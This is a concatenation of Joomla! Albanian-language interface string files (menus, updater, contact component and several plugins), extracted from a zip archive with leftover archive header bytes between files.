COM_MENUS_ITEM_FIELD_NOTE_DESC="Enter some text here" COM_MENUS_ITEM_FIELD_ORDERING_DESC="The menu item will be placed in the menu after the selected menu item" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Ordering" COM_MENUS_ITEM_FIELD_ORDERING_TEXT="Ordering will be available after saving" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- First -" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="- Last -" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Optional CSS class to add to elements in this page. This allows CSS styling specific to this page." COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Page Class" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Optional alternative text for the Page heading." COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Page Heading" COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Optional text for the "Browser page title" element. If blank, a default value is used based on the Menu Item Title." COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Browser Page Title" COM_MENUS_ITEM_FIELD_PARENT_DESC="Select a Parent Item" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Prindi" COM_MENUS_ITEM_FIELD_SECURE_DESC="Zgjedh se a duhet me përdorë a jo kjo nyje SSL dhe nyjen e faqes së sigurtë" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Secure" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Show / Hide the Browser Page Title in the heading of the page ( If no optional text entered - will default to value based on the Menu Item Title ). The Page heading is usually displayed inside the "H1" tag." COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Show Page Heading" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Select a specific template style for this menu item or use the default template." COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Template Style" COM_MENUS_ITEM_FIELD_TITLE_DESC="The title of the menu item that will display in the menu." COM_MENUS_ITEM_FIELD_TITLE_LABEL="Menu Title" COM_MENUS_ITEM_FIELD_TYPE_DESC="The type of link: Component, URL, Alias or Separator" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Lloji i sendit të menysë" COM_MENUS_ITEM_IS_DEFAULT="Is default" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Module Assignment for this Menu Item" COM_MENUS_ITEM_REQUIRED="Required" COM_MENUS_ITEM_ROOT="Menu Item Root" COM_MENUS_ITEMS_REBUILD_FAILED="Failed rebuilding Menu Items list" COM_MENUS_ITEMS_REBUILD_SUCCESS="Menu items list successfully rebuilt" COM_MENUS_ITEMS_SEARCH_FILTER="Search title or alias. Prefix with ID: to search for a menu ID." COM_MENUS_ITEMS_SET_HOME_0="No menu item set to home" COM_MENUS_ITEMS_SET_HOME_1="One menu item successfully set to home" COM_MENUS_ITEMS_SET_HOME_MORE="%d menu items successfully set to home" COM_MENUS_ITEMS_UNSET_HOME="One menu item successfully unset to home" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Layout Options" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Menu Type Options" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Link Type Options" COM_MENUS_MENU_CONFIRM_DELETE="Are you sure you want to delete these menus? Confirming will delete the selected menu types, all their menu items and the associated menu modules." COM_MENUS_MENU_DESCRIPTION_DESC="A description about the purpose of the menu." COM_MENUS_MENU_DETAILS="Menu Details" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_MENU_MENUTYPE_DESC="The system name of the menu." COM_MENUS_MENU_MENUTYPE_LABEL="Menu type" COM_MENUS_TYPE_SYSTEM="System Links" COM_MENUS_MENU_SAVE_SUCCESS="Menu successfully saved" COM_MENUS_MENU_TITLE_DESC="The title of the menu to display in the Administrator Menubar and lists." COM_MENUS_MENU_TYPE_NOT_ALLOWED="This is a reserved menutype." COM_MENUS_PAGE_OPTIONS_LABEL="Page Display Options" ; in the following string ; %1$s is for module title, %2$s is for access-title, %3$s is for position COM_MENUS_MODULE_ACCESS_POSITION="%1$s (%2$s in %3$s)" COM_MENUS_MODULE_SHOW_VARIES="Ndryshme" COM_MENUS_N_ITEMS_CHECKED_IN_0="No menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d menu items successfully checked in" COM_MENUS_N_ITEMS_DELETED="%d menu items successfully deleted" COM_MENUS_N_ITEMS_DELETED_1="%d menu item successfully deleted" COM_MENUS_N_ITEMS_PUBLISHED="%d menu items successfully published" COM_MENUS_N_ITEMS_PUBLISHED_1="%d menu item successfully published" COM_MENUS_N_ITEMS_TRASHED="%d menu items successfully trashed" COM_MENUS_N_ITEMS_TRASHED_1="%d menu item successfully trashed" COM_MENUS_N_ITEMS_UNPUBLISHED="%d menu items successfully unpublished" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d menu item successfully unpublished" COM_MENUS_N_MENUS_DELETED="%d menu types successfully deleted" COM_MENUS_N_MENUS_DELETED_1="Menu type successfully deleted" COM_MENUS_NO_ITEM_SELECTED="No menu items selected" COM_MENUS_NO_MENUS_SELECTED="No menu selected" COM_MENUS_OPTION_SELECT_LEVEL="- Select Max Levels -" COM_MENUS_REQUEST_FIELDSET_LABEL="Required Settings" COM_MENUS_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_SUBMENU_ITEMS="Sendet e menusë" COM_MENUS_SUBMENU_MENUS="Menytë" COM_MENUS_SUCCESS_REORDERED="Menu item successfully reordered" COM_MENUS_TIP_ALIAS_LABEL="Warning!
      Leave the alias field empty if the menu item alias and the menu item linked to by the alias have the same parent." COM_MENUS_TIP_ASSOCIATION="Associated menu items" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_TITLE_EDIT_ITEM="Menu Manager: Title Edit Item" COM_MENUS_TOOLBAR_SET_HOME="Home" COM_MENUS_TYPE_ALIAS="Menu Item Alias" COM_MENUS_TYPE_ALIAS_DESC="Create an alias to another menu item." COM_MENUS_TYPE_CHOOSE="Select a Menu Item Type:" COM_MENUS_TYPE_EXTERNAL_URL="External URL" COM_MENUS_TYPE_EXTERNAL_URL_DESC="An external or internal URL." COM_MENUS_TYPE_SEPARATOR="Text Separator" COM_MENUS_TYPE_SEPARATOR_DESC="A text separator." COM_MENUS_TYPE_UNEXISTING="Component '%s' does not exist" COM_MENUS_TYPE_UNKNOWN="I panjohun" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Menu Manager: Edit Menu Item" COM_MENUS_VIEW_EDIT_MENU_TITLE="Menu Manager: Edit Menu" COM_MENUS_VIEW_ITEMS_TITLE="Menu Manager: Menu Items" COM_MENUS_VIEW_MENUS_TITLE="Menu Manager: Menus" COM_MENUS_VIEW_NEW_ITEM_TITLE="Menu Manager: New Menu Item" COM_MENUS_VIEW_NEW_MENU_TITLE="Menu Manager: Add Menu" COM_MENUS_XML_DESCRIPTION="Component for creating menus" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent menu item is of a lesser state." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\_@ )language/sq-AL/sq-AL.com_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="Kjo asht nji nyje kodi e veçantë e përditësimit, përdorë vetëm kur opsioni "_QQ_"Burimi i përditësimit"_QQ_" asht vu në "_QQ_"Nyje e veçantë"_QQ_"." COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="Nyja e veçantë" COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Konfiguro se prej ku e merr informacionin e përditësimit Joomla!" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Burimi i përditësimit" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="Nyja e veçantë" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="Serveri i përditësimit që ka me përdorë Joomla! me gjetë përditësimet e mundshme" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Serveri i përditësimit" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Mbështetja afatgjatë (rekomandue)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Aktualisht konfigurue (pa ndryshime)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Mbështetja afatshkurtë" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Testimi" COM_JOOMLAUPDATE_CONFIGURATION="Konfigurimi i përditësimit Joomla!" COM_JOOMLAUPDATE_OVERVIEW="Përditësimi i Joomla!-s" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Statusi i përditësimit të versionit të Joomla!-s" COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="Faqja jote asht përditësue me sukses. Versioni aktual i Joomla-s tashti asht %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Po shkarkon dokumentin e përditësimit. Prit ..." COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="Direktoria FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="Hosti FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="Fjalkalimi FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="Porta FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="Pseudonimi FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Versioni i instaluem i Joomla!-s" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Instalo përditësimin" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Versioni ma i fundit i Joomla!-s" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Shkrueji dokumentat drejtpërdrejt" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Shkrueji dokumentat nëpërmjet FTP-së" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Metoda e instalimit" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="S'ka përditësim" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="E ke versionin ma të fundit të Joomla!-s, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="Nyja e paketës së përditësimit" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="U gjet nji përditësim i Joomla!-s" COM_JOOMLAUPDATE_VIEW_PROGRESS="Shkalla e përditësimit" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Bajtat e nxjerrun" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Bajtat e lexuem" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="Shkarkimi i paketës së përditësimit dështoi" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Dokumentat u nxorën" COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Në përditësim të dokumentave të Joomla!-s. Prit ..." COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Përqindja e kryeme" COM_JOOMLAUPDATE_XML_DESCRIPTION="Përditëson Joomla!-n në versionin ma të fundit me nji të shtypun" PK@y>\˖~-,,-language/sq-AL/sq-AL.plg_search_newsfeeds.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_NEWSFEEDS="Kërko - Lajmet feed" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_DESC="Numri i rezultateve me nxjerrë" PLG_SEARCH_NEWSFEEDS_FIELD_SEARCHLIMIT_LABEL="Kufini i kërkimit" PLG_SEARCH_NEWSFEEDS_NEWSFEEDS="Lajmet feed" PLG_SEARCH_NEWSFEEDS_XML_DESCRIPTION="Aktivizon kërkimin brenda lajmeve feed" PK@y>\R\3language/sq-AL/sq-AL.plg_quickicon_joomlaupdate.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Checking Joomla!
      update status" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Unknown Joomla!
      update status" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Grupi" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
      Update now!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! is up-to-date" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\FO'language/sq-AL/sq-AL.plg_system_p3p.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PLG_P3P_HEADER_DESCRIPTION="Enter your P3P policy tags. For more information consult The Platform for Privacy Preferences specification, http://www.w3.org/TR/P3P/" PLG_P3P_HEADER_LABEL="P3P Tags"PK@y>\*-language/sq-AL/sq-AL.plg_extension_joomla.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions" PLG_EXTENSION_JOOMLA_UNKNOWN_SITE="Unknown Site" PK@y>\ MM$language/sq-AL/sq-AL.com_contact.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Kontaktet" COM_CONTACT_BASIC_OPTIONS_FIELDSET_LABEL="Opsionet e pamjes së kontakteve" COM_CONTACT_BATCH_MENU_LABEL="Zgjidh kategorinë për Zhvendos/Kopjo" COM_CONTACT_BATCH_OPTIONS="Batch process the selected contacts" COM_CONTACT_BATCH_TIP="If choosing to copy a contact, any other actions selected will be applied to the copied contact. Otherwise, all actions are applied to the selected contact." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CHANGE_CONTACT="Change Contact" COM_CONTACT_CHANGE_CONTACT_BUTTON="Change Contact" COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="These settings determine how the Contact Component will integrate with other extensions." COM_CONTACT_CONFIGURATION="Contact Manager Options" COM_CONTACT_CONTACT_DETAILS="Hollsinat e kontakteve" COM_CONTACT_CONTACT_DISPLAY_DETAILS="Display options for the individual contact page." COM_CONTACT_CONTACT_SETTINGS_LABEL="Contact Options" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_DETAILS="Informacioni i lidhjes" COM_CONTACT_EDIT_CONTACT="Ndrysho kontaktin" COM_CONTACT_EDIT_DETAILS="Edit contact information displayed on an individual page." COM_CONTACT_ERROR_UNIQUE_ALIAS="Another Contact from this category has the same alias" COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Allow comments for the articles written by the contact" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Comments" COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Allow articles ratings for the contact" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Articles ratings" COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then a list of articles created by this user will show." COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Show User Articles" COM_CONTACT_FIELD_BREADCRUMBS_DESC="Show/Hide Category Breadcrumbs" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Show Category Breadcrumbs" COM_CONTACT_FIELD_CAPTCHA_DESC="Select the captcha plugin that will be used in the contact form. You may need to enter required information for your captcha plugin in the Plugin Manager.
      If 'Use Default' is selected, make sure a captcha plugin is selected in Global Configuration." COM_CONTACT_FIELD_CAPTCHA_LABEL="Allow Captcha on Contact" COM_CONTACT_FIELD_CATEGORIES_DESC="Displays a list of contact categories within a category." COM_CONTACT_FIELD_CATEGORIES_LABEL="Choose a parent category" COM_CONTACT_FIELD_CATEGORY_DESC="Select a contact category to display" COM_CONTACT_FIELD_CATEGORY_LABEL="Zgjidh nji kategori." COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Allow vCard to be displayed" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Allow vCard" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="Email addresses not allowed to submit contact form." COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_LABEL="Temë e ndalueme" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_LABEL="Teksti i bllokuem" COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="These settings apply for Contact Categories Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="These settings apply for Contact Category Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_CONTACT_FORM="Formulari" COM_CONTACT_FIELD_CONFIG_COUNTRY_DESC="Show/Hide a Country column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL="Vendi" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Turns off the automated reply, allowing for Plugins to handle integration with other systems." COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Përgjigje" COM_CONTACT_FIELD_CONFIG_EMAIL_DESC="Show/Hide an Email column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_DESC="Show/Hide a Fax column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_FAX_LABEL="Faks" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="These settings apply for single Contact unless they are changed for a specific menu item or Contact" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DISPLAY="Kontakt" COM_CONTACT_FIELD_CONFIG_MOBILE_DESC="Show/Hide show a Mobile column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_CONFIG_PHONE_DESC="Show/Hide a Phone column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_PHONE_LABEL="Phone" COM_CONTACT_FIELD_CONFIG_POSITION_DESC="Show/Hide a Position column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_POSITION_LABEL="Vendi" COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Enter an alternative URL where the user will be redirected to after mail is sent." COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Contact Redirect" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Check for the existence of session cookie. This means that users without cookies enabled will not be able to send emails." COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_LABEL="Kontroll sesioni" COM_CONTACT_FIELD_CONFIG_STATE_LABEL="State or County" COM_CONTACT_FIELD_CONFIG_STATE_DESC="Show/Hide a State or County column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_DESC="Show/Hide a City or Suburb column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="These settings apply for Contact List Options unless they are changed for a specific menu item." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Show/Hide a vCard column in the list of Contacts." COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vcard" COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="If "Hide", the Contact Category will not show. If "Show Without Link", Category will show as text. If "Show With Link", Category will show as a link to a Single Category Menu Item." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_LABEL="Contact Category" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="If Show, the user will be able to change which contact is shown by selecting a contact from a drop-down list of all contacts in the current contact category." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Show Contact List" COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Created By Alias" COM_CONTACT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the contact." COM_CONTACT_FIELD_CREATED_DESC="Date contact was created." COM_CONTACT_FIELD_CREATED_LABEL="Data e krijimit" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="Email addresses not allowed to submit contact form." COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Temë e ndalueme" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Teksti i bllokuem" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Hide or Show checkbox to allow copy of email to be sent to submitter." COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Send Copy to Submitter" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Show or Hide contact form." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Show Contact Form" COM_CONTACT_FIELD_FEATURED_DESC="If marked yes, will be displayed in featured view." COM_CONTACT_FIELD_FEEDLINK_DESC="Show/Hide a feed link for this contact category" COM_CONTACT_FIELD_FEEDLINK_LABEL="Feed link" COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Select the Address icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Ikona e emailit" COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Select the Email icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="Email Icon" COM_CONTACT_FIELD_ICONS_FAX_DESC="Select the Fax icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_FAX_LABEL="Ikona e faksit" COM_CONTACT_FIELD_ICONS_MISC_DESC="Select the Misc icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MISC_LABEL="Misc Icon" COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Select the Mobile icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Ikona e celularit" COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Choose whether to display icons, text or nothing next to the information." COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="T'dhanat" COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Select the Telephone icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Ikona e telefonit" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Rreshtimi i pamjes" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Image alignment" COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Contact's Address" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Address" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="Contact's Country" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="Vendi" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Contact's Email" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Contact's Fax" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Faks" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Contact's Miscellaneous Information" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Other Information" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Contact's Mobile phone" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Gjendja e kontaktit" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Vendi" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Contact's Postal Code" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Postal / ZIP Code" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Contact's State or Province" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="State or Province" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Contact's City or Suburb" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Contact's Telephone" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Telefoni" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Contact's Website" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Website" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Choose the field or fields by which contacts will be sorted." COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Sort by" COM_CONTACT_FIELD_LANGUAGE_DESC="Assign a language for this contact" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Show/Hide limit box" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Kutija e kufizimit" COM_CONTACT_FIELD_LINK_NAME_DESC="An additional link for this contact" COM_CONTACT_FIELD_LINKA_DESC="Description for Link A" COM_CONTACT_FIELD_LINKA_LABEL="Link A URL" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Link A Label" COM_CONTACT_FIELD_LINKB_DESC="Description for Link B" COM_CONTACT_FIELD_LINKB_LABEL="Link B URL" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Link B Label" COM_CONTACT_FIELD_LINKC_DESC="Description for Link C" COM_CONTACT_FIELD_LINKC_LABEL="Link C URL" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Link C Label" COM_CONTACT_FIELD_LINKD_DESC="Description for Link D" COM_CONTACT_FIELD_LINKD_LABEL="Link D URL" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Link D Label" COM_CONTACT_FIELD_LINKE_DESC="Description for Link E" COM_CONTACT_FIELD_LINKE_LABEL="Link E URL" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Link E Label" COM_CONTACT_FIELD_LINKED_USER_DESC="Linked Joomla! User" COM_CONTACT_FIELD_LINKED_USER_LABEL="Linked User" COM_CONTACT_FIELD_MODIFIED_DESC="The date and time that the contact was last modified." COM_CONTACT_FIELD_NAME_DESC="Emni i lidhjes" COM_CONTACT_FIELD_NAME_LABEL="Emni" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Number of Contacts to display as list." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Number of contacts" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Show or Hide contact email" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Show or Hide position" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Gjendja e kontaktit" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Show or Hide Country" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="Vendi" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Show or Hide fax number" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Faks" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Select the contact image." COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Pamja" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Show or Hide miscellaneous information" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Misc. Information" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Show or Hide mobile number" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Mobile phone" 